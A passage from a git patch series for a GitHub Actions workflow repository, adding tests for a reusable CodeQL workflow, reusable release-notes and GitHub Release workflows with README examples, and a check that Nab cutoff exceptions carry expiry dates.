name) + + +@pytest.mark.parametrize( + ("name", "default"), + [ + pytest.param("languages", '["actions","python"]', id="languages"), + pytest.param("paths-ignore", "[]", id="paths-ignore"), + pytest.param("queries", "security-extended", id="queries"), + pytest.param("config-file", "", id="config-file"), + pytest.param("build-mode", "none", id="build-mode"), + ], +) +def test_input_defaults(name: str, default: str) -> None: + assert INPUTS[name]["default"] == default + + +def test_each_language_gets_its_own_job() -> None: + assert ANALYZE["name"] == "๐Ÿ›ก๏ธ Analyze ${{ matrix.language }}" + assert ANALYZE["strategy"] == {"fail-fast": "false", "matrix": {"language": "${{ fromJSON(inputs.languages) }}"}} + + +def test_analysis_needs_security_events_write_from_caller() -> None: + assert ANALYZE["permissions"] == {"contents": "read", "security-events": "write"} + assert REUSABLE["permissions"] == {} + + +def test_init_receives_each_input() -> None: + init = _step("๐Ÿ›ก๏ธ Initialize CodeQL") + assert init["uses"] == f"github/codeql-action/init@{CODEQL_SHA}" + assert init["with"]["languages"] == "${{ matrix.language }}" + assert init["with"]["build-mode"] == "${{ inputs.build-mode }}" + assert init["with"]["queries"] == "${{ inputs.queries }}" + assert init["with"]["config-file"] == "${{ inputs.config-file }}" + + +def test_paths_ignore_becomes_config_only_without_config_file() -> None: + config = _step("๐Ÿ›ก๏ธ Initialize CodeQL")["with"]["config"] + assert config == "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" + + +@pytest.mark.parametrize( + ("paths_ignore", "expected"), + [ + pytest.param("[]", [], id="none"), + pytest.param('["tests"]', ["tests"], id="tests"), + pytest.param('["tests","docs/conf.py"]', ["tests", "docs/conf.py"], id="several"), + ], +) +def test_paths_ignore_input_is_valid_codeql_yaml(paths_ignore: str, expected: list[str]) -> None: + assert json.loads(paths_ignore) == expected + assert yaml.safe_load(f"paths-ignore: {paths_ignore}") == {"paths-ignore": expected} + + +def test_analyze_uses_the_same_pinned_release() -> None: + assert _step("๐Ÿ›ก๏ธ Analyze")["uses"] == f"github/codeql-action/analyze@{CODEQL_SHA}" + assert _step("๐Ÿ›ก๏ธ Analyze")["with"] == {"category": "/language:${{ matrix.language }}"} + + +def test_gw_caller_keeps_its_triggers() -> None: + assert list(CALLER["on"]) == ["push", "pull_request", "schedule", "workflow_dispatch"] + assert CALLER["on"]["schedule"] == [{"cron": "0 9 * * 2"}] + + +def test_gw_caller_passes_its_scope_to_the_reusable_workflow() -> None: + job = CALLER["jobs"]["analyze"] + assert job == { + "name": "๐Ÿ›ก๏ธ Analyze", + "uses": "$/.github/workflows/codeql.yaml", + "permissions": {"contents": "read", "security-events": "write"}, + "with": {"languages": '["actions","python"]', "paths-ignore": '["tests"]'}, + } From 3dc9f59d4b559eac0aa3db8a29f566d49338c408 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:45:51 -0800 Subject: [PATCH 04/38] =?UTF-8?q?=E2=9C=A8=20feat(release-notes):=20add=20?= =?UTF-8?q?reusable=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `release-notes.yaml` renders the GitHub Release body in a read-only job and uploads it as an artifact. Its changelog defaults to the path in the committed Towncrier configuration, and the previous tag comes from `render-release-notes`, so callers drop their own previous-tag and upload steps. `render-release-notes` gains a `package` input that renders one package section of a shared Markdown changelog, for repositories that release several packages from one tag namespace. --- .github/workflows/release-notes.yaml | 72 ++++++++++++++++++ .../+release-notes-workflow.feature.md | 2 + changelog.d/+render-package-notes.feature.md | 1 + render-release-notes/action.yml | 7 ++ .../test_release_notes_workflow.py | 73 +++++++++++++++++++ tests/render_release_notes/test_notes.py | 45 ++++++++++++ 6 files changed, 200 insertions(+) create mode 100644 .github/workflows/release-notes.yaml create mode 100644 changelog.d/+release-notes-workflow.feature.md create mode 100644 changelog.d/+render-package-notes.feature.md create mode 100644 tests/release_workflow/test_release_notes_workflow.py diff --git a/.github/workflows/release-notes.yaml b/.github/workflows/release-notes.yaml new file mode 100644 index 0000000..8ce0e8b --- /dev/null +++ b/.github/workflows/release-notes.yaml @@ -0,0 +1,72 @@ +name: Render GitHub Release notes +on: + workflow_call: + inputs: + tag: + description: Release tag to render, such as 1.2.3 or pyproject-fmt/1.2.3 + required: true + type: string + changelog: + description: Tracked changelog path; empty reads the path from the committed Towncrier configuration + default: "" + type: string + artifact-url: + description: Published ecosystem release URL, one per line for several packages + default: "" + type: string + artifact-label: + description: Link text for each artifact-url line, in the same order; default PyPI release + default: "" + type: string + package: + description: Package section of a shared Markdown changelog; empty for one package + default: "" + type: string + outputs: + artifact-id: + description: Artifact ID of the rendered GitHub Release notes + value: ${{ jobs.notes.outputs.artifact-id }} +permissions: {} +jobs: + notes: + name: ๐Ÿ“ Render GitHub Release notes + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - id: towncrier + name: โš™๏ธ Read Towncrier configuration + uses: $/read-towncrier-config + - name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-notes + venv: ${{ runner.temp }}/release-tools + - name: ๐Ÿ“ Render release notes + uses: $/render-release-notes + with: + tag: ${{ inputs.tag }} + changelog: ${{ inputs.changelog || steps.towncrier.outputs.changelog }} + artifact-url: ${{ inputs.artifact-url }} + artifact-label: ${{ inputs.artifact-label }} + package: ${{ inputs.package }} + - name: ๐Ÿ“ค Upload release notes + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: github-release-notes-${{ github.run_attempt }} + path: ${{ runner.temp }}/release-notes.md + if-no-files-found: error diff --git a/changelog.d/+release-notes-workflow.feature.md b/changelog.d/+release-notes-workflow.feature.md new file mode 100644 index 0000000..15fd896 --- /dev/null +++ b/changelog.d/+release-notes-workflow.feature.md @@ -0,0 +1,2 @@ +`release-notes.yaml` renders the GitHub Release body in a read-only job and uploads it as an artifact. Callers no longer +repeat the tool install, previous-tag selection and upload steps. diff --git a/changelog.d/+render-package-notes.feature.md b/changelog.d/+render-package-notes.feature.md new file mode 100644 index 0000000..e8c0efa --- /dev/null +++ b/changelog.d/+render-package-notes.feature.md @@ -0,0 +1 @@ +`render-release-notes` takes a `package` input that renders one package section of a shared Markdown changelog. diff --git a/render-release-notes/action.yml b/render-release-notes/action.yml index 1e80d2f..c26c9c0 100644 --- a/render-release-notes/action.yml +++ b/render-release-notes/action.yml @@ -16,6 +16,9 @@ inputs: previous: description: Previous tag, or auto to calculate it from Git history default: auto + package: + description: Package section of a shared Markdown changelog, such as pyproject-fmt; empty for one package + default: "" runs: using: composite steps: @@ -47,6 +50,7 @@ runs: ARTIFACT_URL: ${{ inputs.artifact-url }} ARTIFACT_LABEL: ${{ inputs.artifact-label }} PREVIOUS: ${{ steps.previous.outputs.previous }} + PACKAGE: ${{ inputs.package }} run: | set -euo pipefail # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. @@ -55,6 +59,9 @@ runs: if [[ -n "$PREVIOUS" ]]; then args+=(--previous "$PREVIOUS") fi + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi mapfile -t urls < <(grep -v '^[[:space:]]*$' <<<"$ARTIFACT_URL" || true) mapfile -t labels < <(grep -v '^[[:space:]]*$' <<<"$ARTIFACT_LABEL" || true) if ((${#labels[@]} && ${#labels[@]} != ${#urls[@]})); then diff --git a/tests/release_workflow/test_release_notes_workflow.py b/tests/release_workflow/test_release_notes_workflow.py new file mode 100644 index 0000000..f372836 --- /dev/null +++ b/tests/release_workflow/test_release_notes_workflow.py @@ -0,0 +1,73 @@ +from __future__ import annotations + +from pathlib import Path +from typing import Any + +import pytest +import yaml + +ROOT = Path(__file__).resolve().parents[2] + + +def _workflow(name: str) -> dict[str, Any]: + return yaml.load((ROOT / ".github/workflows" / name).read_text(), Loader=yaml.BaseLoader) + + +def _steps(job: dict[str, Any]) -> dict[str, dict[str, Any]]: + return {step["name"]: step for step in job["steps"]} + + +def test_release_notes_exposes_inputs_and_artifact_id() -> None: + workflow = _workflow("release-notes.yaml") + call = workflow["on"]["workflow_call"] + + assert {name: definition.get("required") for name, definition in call["inputs"].items()} == { + "tag": "true", + "changelog": None, + "artifact-url": None, + "artifact-label": None, + "package": None, + } + assert call["outputs"]["artifact-id"]["value"] == "${{ jobs.notes.outputs.artifact-id }}" + assert workflow["permissions"] == {} + assert workflow["jobs"]["notes"]["permissions"] == {"contents": "read"} + + +def test_release_notes_render_without_a_separate_previous_tag_step() -> None: + steps = _steps(_workflow("release-notes.yaml")["jobs"]["notes"]) + + assert list(steps) == [ + "๐Ÿ“ฅ Check out repository", + "๐Ÿ Install uv and Python", + "โš™๏ธ Read Towncrier configuration", + "๐Ÿ“ฆ Install locked release tools", + "๐Ÿ“ Render release notes", + "๐Ÿ“ค Upload release notes", + ] + assert all("select-previous-tag" not in step.get("uses", "") for step in steps.values()) + + +def test_release_notes_default_changelog_comes_from_towncrier_config() -> None: + steps = _steps(_workflow("release-notes.yaml")["jobs"]["notes"]) + + assert steps["๐Ÿ“ Render release notes"]["with"] == { + "tag": "${{ inputs.tag }}", + "changelog": "${{ inputs.changelog || steps.towncrier.outputs.changelog }}", + "artifact-url": "${{ inputs.artifact-url }}", + "artifact-label": "${{ inputs.artifact-label }}", + "package": "${{ inputs.package }}", + } + + +def test_release_notes_uploads_artifact_per_run_attempt() -> None: + upload = _steps(_workflow("release-notes.yaml")["jobs"]["notes"])["๐Ÿ“ค Upload release notes"] + + assert upload["with"]["name"] == "github-release-notes-${{ github.run_attempt }}" + assert upload["with"]["if-no-files-found"] == "error" + + +@pytest.mark.parametrize("path", sorted((ROOT / ".github/workflows").glob("*.y*ml")), ids=lambda path: path.name) +def test_local_action_references_resolve(path: Path) -> None: + references = [line.split("uses: $/", 1)[1].strip() for line in path.read_text().splitlines() if "uses: $/" in line] + + assert all((ROOT / reference / "action.yml").is_file() or (ROOT / reference).is_file() for reference in references) diff --git a/tests/render_release_notes/test_notes.py b/tests/render_release_notes/test_notes.py index e3e6ad1..71770ed 100644 --- a/tests/render_release_notes/test_notes.py +++ b/tests/render_release_notes/test_notes.py @@ -162,3 +162,48 @@ def test_render_release_notes_rejects_unpaired_labels( ) assert result.returncode != 0 assert "artifact-label has 1 lines for 2 artifact-url lines" in result.stdout + + +def test_render_release_notes_selects_package_section( + tagged_repository: Path, tmp_path: Path, action_scripts: Path +) -> None: + (tagged_repository / "CHANGELOG.md").write_text( + dedent( + """\ + # Changelog + + ## fixture + + ### 0.2.0 (2026-10-20) + + #### Added + + - Add a new feature ([#2](https://github.com/tox-dev/fixture/pull/2)) by + [@gaborbernat](https://github.com/gaborbernat). + + ## other + + ### 0.2.0 (2026-10-20) + + #### Added + + - Add a feature to the other package. + """, + ), + ) + run(tagged_repository, "git", "add", "CHANGELOG.md") + run(tagged_repository, "git", "commit", "-m", "Release fixture 0.2.0") + run(tagged_repository, "git", "tag", "fixture/0.2.0") + result = action( + tagged_repository, + tmp_path, + action_scripts, + "render-release-notes", + version="fixture/0.2.0", + TAG="fixture/0.2.0", + PACKAGE="fixture", + ) + assert result.returncode == 0, result.stderr + notes = (tmp_path / "release-notes.md").read_text() + assert "Add a new feature" in notes + assert "other package" not in notes From 9d81197c33bc59e98dfdd735e85198e33b2625c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:45:56 -0800 Subject: [PATCH 05/38] =?UTF-8?q?=E2=9C=A8=20feat(release):=20add=20GitHub?= =?UTF-8?q?=20Release=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `github-release.yaml` checks the PyPI distributions with `reconcile-pypi-artifacts`, then publishes the GitHub Release with `publish-github-release`. The job runs in the caller's `release` environment with `contents: write`, so a caller cannot forget the environment, which several callers did. The caller keeps its PyPI upload job, because trusted publishing cannot run in a reusable workflow. Callers pass `title-prefix` for tags such as `v1.2.3`, and `assets-directory` to attach the distributions. The README gains the caller examples for both workflows. --- .github/workflows/github-release.yaml | 75 +++++++++ README.md | 157 ++++++++++++++++++ .../+github-release-workflow.feature.md | 2 + .../test_github_release_workflow.py | 54 ++++++ 4 files changed, 288 insertions(+) create mode 100644 .github/workflows/github-release.yaml create mode 100644 changelog.d/+github-release-workflow.feature.md create mode 100644 tests/release_workflow/test_github_release_workflow.py diff --git a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml new file mode 100644 index 0000000..481b999 --- /dev/null +++ b/.github/workflows/github-release.yaml @@ -0,0 +1,75 @@ +name: Publish GitHub Release +on: + workflow_call: + inputs: + project: + description: PyPI project name + required: true + type: string + version: + description: PyPI release version, without a package prefix from the tag + required: true + type: string + tag: + description: Release tag, such as 1.2.3 or pyproject-fmt/1.2.3 + required: true + type: string + artifact-pattern: + description: Name pattern of the distribution artifacts the publisher uploaded + required: true + type: string + notes-artifact-id: + description: Artifact ID of the rendered GitHub Release notes + required: true + type: string + title-prefix: + description: Text before the tag in the GitHub Release title, such as v + default: "" + type: string + assets-directory: + description: Directory of extra GitHub Release assets; dist attaches the distributions + default: "" + type: string +permissions: {} +jobs: + github-release: + name: ๐Ÿš€ Publish GitHub Release + runs-on: ubuntu-26.04 + environment: release + permissions: + contents: write + steps: + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + ignore-empty-workdir: true + - name: ๐Ÿ“ฉ Download distributions + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + pattern: ${{ inputs.artifact-pattern }} + path: dist + merge-multiple: true + - name: ๐Ÿ“ฉ Download release notes + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.notes-artifact-id }} + path: ${{ runner.temp }} + - name: ๐Ÿ” Verify PyPI artifacts + uses: $/reconcile-pypi-artifacts + with: + project: ${{ inputs.project }} + version: ${{ inputs.version }} + dist: dist + - name: ๐Ÿš€ Publish GitHub release + uses: $/publish-github-release + env: + GH_TOKEN: ${{ github.token }} + with: + tag: ${{ inputs.tag }} + commit: ${{ github.sha }} + title: ${{ inputs.title-prefix }}${{ inputs.tag }} + notes-file: ${{ runner.temp }}/release-notes.md + assets-directory: ${{ inputs.assets-directory }} diff --git a/README.md b/README.md index 9c818c7..4699bb1 100644 --- a/README.md +++ b/README.md @@ -827,6 +827,163 @@ jobs: Each check run is named `๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze `, not `๐Ÿ›ก๏ธ Analyze `. A ruleset that requires the old name must require the new one. The workflow pins CodeQL Action v4.39.1 for both the init and analyze steps. +## Render release notes and publish the GitHub Release + +`release-notes.yaml` renders the GitHub Release body in a read-only job. `github-release.yaml` checks the PyPI files, +then creates the GitHub Release in a job that runs in the caller's `release` environment with `contents: write`. Both +are reusable workflows. The caller keeps the PyPI upload job, because PyPI trusted publishing cannot run in a reusable +workflow. + +`release-notes.yaml` takes these inputs and returns one output: + +- `tag` **(required)**: release tag, such as `1.2.3` or `pyproject-fmt/1.2.3`. +- `changelog`: tracked changelog path. Empty reads `filename` from the committed Towncrier configuration. +- `artifact-url` and `artifact-label`: passed to `render-release-notes`. +- `package`: package section of a shared Markdown changelog. The previous tag is then the one before the tag in the same + package namespace. +- Output `artifact-id`: the upload ID of the `github-release-notes-` artifact. + +`github-release.yaml` takes these inputs: + +- `project` and `version` **(required)**: PyPI project and version that `reconcile-pypi-artifacts` compares with the + build. +- `tag` **(required)**: Git tag the release targets. The release commit is the workflow's `github.sha`. +- `artifact-pattern` **(required)**: artifact name pattern of the distributions the PyPI publisher uploaded. The + workflow downloads them into `dist`. +- `notes-artifact-id` **(required)**: the `artifact-id` output of `release-notes.yaml`. +- `title-prefix`: text before the tag in the title, such as `v`. Empty by default. +- `assets-directory`: directory of extra assets. The workflow's only downloaded directory is `dist`, so set `dist` to + attach the distributions. Empty attaches nothing. + +The caller's release-notes job needs `contents: read`. The release job needs `contents: write` and runs after the PyPI +job. The `release` environment must exist in the caller and allow the tag ref. The examples below pin `SHA` to the +commit of this repository. + +The pytest-print release workflow: + +```yaml +name: ๐Ÿš€ Release to PyPI +on: + push: + tags: ["*"] +permissions: + contents: read +concurrency: + group: release-${{ github.ref }} + cancel-in-progress: false +jobs: + build: + name: ๐Ÿ—๏ธ Build + uses: tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA + permissions: + contents: read + notes: + name: ๐Ÿ“ Render GitHub Release notes + uses: tox-dev/github-workflows/.github/workflows/release-notes.yaml@SHA + permissions: + contents: read + with: + tag: ${{ github.ref_name }} + artifact-url: https://pypi.org/project/pytest-print/${{ github.ref_name }}/ + pypi: + name: ๐Ÿš€ Publish to PyPI + needs: build + runs-on: ubuntu-26.04 + environment: + name: release + url: https://pypi.org/project/pytest-print/${{ github.ref_name }} + permissions: + id-token: write + steps: + - name: ๐Ÿ“ฉ Download distributions + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }} + path: dist/ + - name: ๐Ÿš€ Publish to PyPI + uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3 + with: + packages-dir: dist + attestations: true + github-release: + name: ๐Ÿš€ Publish GitHub Release + needs: [build, pypi, notes] + uses: tox-dev/github-workflows/.github/workflows/github-release.yaml@SHA + permissions: + contents: write + with: + project: pytest-print + version: ${{ github.ref_name }} + tag: ${{ github.ref_name }} + artifact-pattern: python-package-distributions + notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} +``` + +A repository with a shared changelog, such as toml-fmt, sets `package` per package. Its build job is a reusable workflow +of the repository itself, which exposes `version` as an output: + +```yaml +name: ๐Ÿš€ pyproject-fmt +on: + push: + tags: ["pyproject-fmt/*"] +permissions: {} +concurrency: + group: release-${{ github.ref }} + cancel-in-progress: false +jobs: + build: + name: ๐Ÿ—๏ธ Build distributions + uses: ./.github/workflows/pyproject_fmt_build.yaml + permissions: + contents: read + pull-requests: read + notes: + name: ๐Ÿ“ Render GitHub Release notes + uses: tox-dev/github-workflows/.github/workflows/release-notes.yaml@SHA + permissions: + contents: read + with: + tag: ${{ github.ref_name }} + package: pyproject-fmt + artifact-url: https://pypi.org/project/pyproject-fmt/${{ replace(github.ref_name, 'pyproject-fmt/', '') }}/ + pypi: + name: ๐Ÿš€ Publish to PyPI + needs: build + runs-on: ubuntu-26.04 + environment: + name: release + url: https://pypi.org/project/pyproject-fmt/${{ needs.build.outputs.version }}/ + permissions: + id-token: write + steps: + - name: ๐Ÿ“ฉ Download distributions + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + pattern: pyproject-fmt-wheels-* + path: dist + merge-multiple: true + - name: ๐Ÿš€ Publish to PyPI + uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3 + with: + packages-dir: dist + github-release: + name: ๐Ÿš€ Publish GitHub Release + needs: [build, pypi, notes] + uses: tox-dev/github-workflows/.github/workflows/github-release.yaml@SHA + permissions: + contents: write + with: + project: pyproject-fmt + version: ${{ needs.build.outputs.version }} + tag: ${{ github.ref_name }} + artifact-pattern: pyproject-fmt-wheels-* + notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} +``` + +`render-release-notes` takes the same `package` input directly. Its `previous` input still defaults to `auto`, so +callers need no separate `select-previous-tag` step. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+github-release-workflow.feature.md b/changelog.d/+github-release-workflow.feature.md new file mode 100644 index 0000000..31d9de4 --- /dev/null +++ b/changelog.d/+github-release-workflow.feature.md @@ -0,0 +1,2 @@ +`github-release.yaml` verifies the PyPI files and publishes the GitHub Release in a job that runs in the caller's +`release` environment. It replaces the reconcile and publish steps that callers copied. diff --git a/tests/release_workflow/test_github_release_workflow.py b/tests/release_workflow/test_github_release_workflow.py new file mode 100644 index 0000000..bfb623e --- /dev/null +++ b/tests/release_workflow/test_github_release_workflow.py @@ -0,0 +1,54 @@ +from __future__ import annotations + +from pathlib import Path +from typing import Any + +import yaml + +ROOT = Path(__file__).resolve().parents[2] + + +def _workflow(name: str) -> dict[str, Any]: + return yaml.load((ROOT / ".github/workflows" / name).read_text(), Loader=yaml.BaseLoader) + + +def _steps(job: dict[str, Any]) -> dict[str, dict[str, Any]]: + return {step["name"]: step for step in job["steps"]} + + +def test_github_release_publishes_from_a_release_environment_only() -> None: + workflow = _workflow("github-release.yaml") + job = workflow["jobs"]["github-release"] + + assert job["environment"] == "release" + assert job["permissions"] == {"contents": "write"} + assert workflow["permissions"] == {} + + +def test_github_release_verifies_pypi_before_publishing() -> None: + steps = _steps(_workflow("github-release.yaml")["jobs"]["github-release"]) + + assert list(steps) == [ + "๐Ÿ Install uv and Python", + "๐Ÿ“ฉ Download distributions", + "๐Ÿ“ฉ Download release notes", + "๐Ÿ” Verify PyPI artifacts", + "๐Ÿš€ Publish GitHub release", + ] + assert steps["๐Ÿ” Verify PyPI artifacts"]["with"] == { + "project": "${{ inputs.project }}", + "version": "${{ inputs.version }}", + "dist": "dist", + } + + +def test_github_release_title_prefixes_the_tag() -> None: + publish = _steps(_workflow("github-release.yaml")["jobs"]["github-release"])["๐Ÿš€ Publish GitHub release"] + + assert publish["with"] == { + "tag": "${{ inputs.tag }}", + "commit": "${{ github.sha }}", + "title": "${{ inputs.title-prefix }}${{ inputs.tag }}", + "notes-file": "${{ runner.temp }}/release-notes.md", + "assets-directory": "${{ inputs.assets-directory }}", + } From cee3ac2eef807d960285e173bf1f1af7245e8124 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:46:00 -0800 Subject: [PATCH 06/38] =?UTF-8?q?=E2=9C=A8=20feat(lock):=20expire=20nab=20?= =?UTF-8?q?cutoff=20exceptions?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A `[tool.nab]` cutoff exception outlives its release unless someone removes it, so the lock check now requires an expiry date for each one. Nab rejects unknown keys in a package table, so the date sits in a comment directly above the table header or dotted key: # expires 2026-11-09 [tool.nab.packages.release-creator] uploaded-prior-to = 2026-11-02T21:45:00Z `refresh-release-lock` in `check` mode runs `check_nab_exceptions.py` before it installs Nab. It fails, and names the package, when an exception has no comment, a malformed date, a date already past, or a `[[tool.nab.package-rules]]` cutoff, which the check does not read. A standalone `nab.toml` is checked too. Dates are inclusive: the exception is valid through its date. --- README.md | 20 +++ changelog.d/+nab-exception-expiry.change.md | 3 + pyproject.toml | 3 +- refresh-release-lock/action.yml | 8 + .../test_check_nab_exceptions.py | 149 ++++++++++++++++++ tests/refresh_release_lock/test_refresh.py | 18 +++ tools/check_nab_exceptions.py | 82 ++++++++++ 7 files changed, 282 insertions(+), 1 deletion(-) create mode 100644 changelog.d/+nab-exception-expiry.change.md create mode 100644 tests/refresh_release_lock/test_check_nab_exceptions.py create mode 100644 tools/check_nab_exceptions.py diff --git a/README.md b/README.md index 4699bb1..5d8d178 100644 --- a/README.md +++ b/README.md @@ -984,6 +984,26 @@ jobs: `render-release-notes` takes the same `package` input directly. Its `previous` input still defaults to `auto`, so callers need no separate `select-previous-tag` step. +## Expire cutoff exceptions + +A `[tool.nab]` exception that admits one package past the cutoff, `packages..uploaded-prior-to`, carries its +expiry date in a comment directly above the package table header or dotted key: + +```toml +# expires 2026-11-09 +[tool.nab.packages.release-creator] +uploaded-prior-to = 2026-11-02T21:45:00Z +``` + +Nab rejects unknown keys in a package table, so the date cannot sit beside the value. The date is the last day the +exception is valid. `refresh-release-lock` in `check` mode fails when an exception has no such comment, a malformed +date, or a date that has passed, and names the package. `validate-news` runs that check when a pull request changes +`pyproject.toml`, a `pylock*.toml`, or `nab.toml`. A standalone `nab.toml` is checked the same way. An exception in +`[[tool.nab.package-rules]]` is rejected, since the check does not read those tables; move it to a package table. + +The check runs only when release inputs change or the caller runs `check` mode, so an expired exception can remain until +one of those happens. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+nab-exception-expiry.change.md b/changelog.d/+nab-exception-expiry.change.md new file mode 100644 index 0000000..7d6af9f --- /dev/null +++ b/changelog.d/+nab-exception-expiry.change.md @@ -0,0 +1,3 @@ +`refresh-release-lock` in `check` mode, which `validate-news` runs, fails for a `[tool.nab]` cutoff exception that has +no `# expires YYYY-MM-DD` comment directly above it, has a malformed date, or has passed its date. The error names the +package. Add the comment above each existing exception. diff --git a/pyproject.toml b/pyproject.toml index 05f08a8..260e247 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,7 +36,8 @@ uploaded-prior-to = "P7D" python = ">=3.15,<3.16" platforms = ["linux_x86_64"] -# release-creator 4.4.0 needs a seven-day cutoff exception through 2026-11-09. +# release-creator 4.4.0 needs a seven-day cutoff exception. +# expires 2026-11-09 [tool.nab.packages.release-creator] uploaded-prior-to = 2026-11-02T21:45:00Z diff --git a/refresh-release-lock/action.yml b/refresh-release-lock/action.yml index e7bedfd..cbc168f 100644 --- a/refresh-release-lock/action.yml +++ b/refresh-release-lock/action.yml @@ -35,6 +35,14 @@ outputs: runs: using: composite steps: + - name: ๐Ÿ“… Check cutoff exception expiry + if: inputs.mode == 'check' + shell: bash + run: | + set -euo pipefail + files=(pyproject.toml) + if [[ -f nab.toml ]]; then files+=(nab.toml); fi + python3 "$GITHUB_ACTION_PATH/../tools/check_nab_exceptions.py" "${files[@]}" - name: ๐Ÿ“ฆ Install Nab shell: bash env: diff --git a/tests/refresh_release_lock/test_check_nab_exceptions.py b/tests/refresh_release_lock/test_check_nab_exceptions.py new file mode 100644 index 0000000..c4f886a --- /dev/null +++ b/tests/refresh_release_lock/test_check_nab_exceptions.py @@ -0,0 +1,149 @@ +from __future__ import annotations + +import subprocess +import sys +from pathlib import Path + +import pytest + +_SCRIPT = Path(__file__).resolve().parents[2] / "tools/check_nab_exceptions.py" +_FUTURE = "2999-01-01" +_PAST = "2000-01-01" + + +def _check(path: Path) -> subprocess.CompletedProcess[str]: + return subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + +@pytest.mark.parametrize( + ("filename", "content"), + [ + pytest.param("pyproject.toml", '[tool.nab]\nmode = "universal"\n', id="no-exceptions"), + pytest.param( + "pyproject.toml", + f"[tool.nab]\n# expires {_FUTURE}\n[tool.nab.packages.release-creator]\n" + "uploaded-prior-to = 2026-11-02T21:45:00Z\n", + id="table-header", + ), + pytest.param( + "pyproject.toml", + f'[tool.nab]\n# expires {_FUTURE}\n[tool.nab.packages."release-creator"]\nuploaded-prior-to = 2026-11-02\n', + id="quoted-table-header", + ), + pytest.param( + "pyproject.toml", + f"[tool.nab]\n# expires {_FUTURE}\npackages.sphinx.uploaded-prior-to = 2026-10-21T00:05:13Z\n", + id="dotted-key", + ), + pytest.param( + "nab.toml", + f"# expires {_FUTURE}\n[packages.sphinx]\nuploaded-prior-to = 2026-10-21T00:05:13Z\n", + id="standalone-nab-toml", + ), + pytest.param( + "pyproject.toml", + "[tool.nab.packages.sphinx]\nassume-universal-deps = true\n", + id="override-without-cutoff", + ), + ], +) +def test_nab_exception_expiry_accepts_dated_exception(tmp_path: Path, filename: str, content: str) -> None: + path = tmp_path / filename + path.write_text(content) + + result = _check(path) + + assert (result.returncode, result.stderr) == (0, "") + + +@pytest.mark.parametrize( + ("content", "problem"), + [ + pytest.param( + "[tool.nab]\n# expires 2999-01-01\n\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it", + id="comment-separated-by-blank-line", + ), + pytest.param( + "[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it", + id="header-on-first-line", + ), + pytest.param( + f"[tool.nab]\n# expires {_PAST}\n[tool.nab.packages.release-creator]\nuploaded-prior-to = 2026-10-26\n", + "packages.release-creator uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry", + id="expired", + ), + pytest.param( + "[tool.nab]\n# expires 2026-13-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx has an invalid expiry date 2026-13-01", + id="invalid-date", + ), + pytest.param( + f"[tool.nab]\n# expires {_FUTURE}\npackages = {{ sphinx = {{ uploaded-prior-to = 2026-10-21 }} }}\n", + "packages.sphinx is not a table or dotted key that the expiry check can locate", + id="inline-table", + ), + pytest.param( + '[tool.nab]\n[[tool.nab.package-rules]]\nmatch = ["sphinx"]\nuploaded-prior-to = 2026-10-21\n', + "[[package-rules]] ['sphinx'] sets uploaded-prior-to, which expiry is not checked for; " + "move it to a packages. table", + id="package-rule", + ), + ], +) +def 